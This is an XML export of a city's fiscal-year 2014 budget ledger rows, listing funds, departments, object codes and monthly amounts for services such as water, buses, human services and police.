<row _id="5421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>550000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>550000.0</total></row>
<row _id="5422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402350.0</object><object_description>WATER - MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-316806.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-316806.0</total></row>
<row _id="5423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402360.0</object><object_description>WATER - METER SRVC / INSTALL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-312000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-312000.0</total></row>
<row _id="5424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-115000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-115000.0</total></row>
<row _id="5425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404800.0</object><object_description>WATER DEMAND MITIGATION FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-300000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-300000.0</total></row>
<row _id="5426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-90000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="5427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4668.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4668.0</total></row>
<row _id="5428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405930.0</object><object_description>TRANSFER STATION - CITY DEPTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-390000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-390000.0</total></row>
<row _id="5429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402200.0</object><object_description>CEMETERY LOT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-493999.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-493999.0</total></row>
<row _id="5430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35000.0</total></row>
<row _id="5431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>400210.0</object><object_description>CITY CLERK COUNTER FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-788.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-788.0</total></row>
<row _id="5432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-22000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-22000.0</total></row>
<row _id="5433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400020.0</object><object_description>PROPERTY TAXES - UNSECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401210.0</object><object_description>DAMAGE TO CITY PROPERTY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="5436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401030.0</object><object_description>HAZ MAT RESPONSE RECOVERY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-20500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20500.0</total></row>
<row _id="5437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5300.0</total></row>
<row _id="5438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>27450.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27450.0</total></row>
<row _id="5439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555120.0</object><object_description>LA SEWAGE DISPOSAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6699060.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6699060.0</total></row>
<row _id="5440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20900.0</total></row>
<row _id="5441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>217.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>217.0</total></row>
<row _id="5442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>813.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>813.0</total></row>
<row _id="5443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="5444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>164.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>164.0</total></row>
<row _id="5445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11504.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11504.0</total></row>
<row _id="5446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>308.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>308.0</total></row>
<row _id="5447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9885.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9885.0</total></row>
<row _id="5448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561201.0</object><object_description>CHRYSALIS-EMPLOY ASST-GEN FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>276857.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>276857.0</total></row>
<row _id="5449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562131.0</object><object_description>CIVIC CENTER MED-YOUTH PEER ME</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52888.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52888.0</total></row>
<row _id="5450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563121.0</object><object_description>CARE MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>207050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>207050.0</total></row>
<row _id="5451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565231.0</object><object_description>GENERAL COMMUNITY LEGAL SRVCES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>479219.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>479219.0</total></row>
<row _id="5452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25625.0</total></row>
<row _id="5453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="5454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7688.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7688.0</total></row>
<row _id="5455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8456.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8456.0</total></row>
<row _id="5456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1784056.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1784056.0</total></row>
<row _id="5457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511745.0</object><object_description>MED TRUST - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10539.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10539.0</total></row>
<row _id="5458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>38497.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38497.0</total></row>
<row _id="5459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>271687.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>271687.0</total></row>
<row _id="5460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>36309.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36309.0</total></row>
<row _id="5461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1369325.02</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1369325.02</total></row>
<row _id="5462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>94777.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>94777.0</total></row>
<row _id="5463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8766.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8766.0</total></row>
<row _id="5464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>79763.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>79763.0</total></row>
<row _id="5465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="5466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>105.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="5467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400770.0</object><object_description>LEASE RENTAL REV-BEACH CLUB</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-289614.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-289614.0</total></row>
